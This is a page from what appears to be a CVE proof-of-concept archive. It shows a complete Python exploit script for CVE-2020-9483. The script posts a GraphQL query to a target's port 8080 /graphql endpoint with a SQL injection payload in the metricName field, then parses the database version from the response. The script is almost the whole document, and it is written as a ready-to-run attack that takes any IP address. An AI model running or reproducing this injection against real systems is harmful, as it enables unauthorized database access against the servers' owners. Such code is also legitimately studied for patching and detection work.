4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-9483.py PY
# --CVE-2020-9483-PoC--
# -*- Encoding: utf-8 -*-
import requests
import json
import argparse
import sys
import re


def host():
    try:
        parser = argparse.ArgumentParser(description='PoC for CVE-2020-9483 by shiro', exit_on_error=False)
        parser.add_argument('-ip', required=True)
        args = parser.parse_args()
        ip = str(args.ip)
        #print(ip)
        url = "http://" + ip + ":8080" + "/graphql"
        return url
    except argparse.ArgumentError:
        print("[-]usage:python3 CVE-2020-9483.py -ip 127.0.0.1")
        sys.exit(0)


def poc(url):
    header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36',
              'Content-type': 'application/json'
    }
    payload = {"query":"query queryLogs($condition: LogQueryCondition){queryLogs(condition: $condition){total,logs{serviceId,serviceName,isError,content}}}",
               "variables": {"condition": {"metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --", "endpointId": "1", "traceId": "1", "state": "ALL", "stateCode": "1", "paging": {"pageSize": 10}}}}
    data = json.dumps(payload)
    #print(data)
    try:
        res = requests.post(url=url, headers=header, data=data, timeout=3)
        print("[+]got response")
    except requests.exceptions.ConnectionError:
        print("[-]timeout :(")
        print("[-]bye~~~")
        sys.exit(0)
    print("[+]SQL Injection complete")
    version = re.findall(r"\d+\.\d+\.\d+", res.text)
    #print(version)
    print("[+]Database version is " + str(version))
    print("[+]Done!")


if __name__ == "__main__":
    poc(host())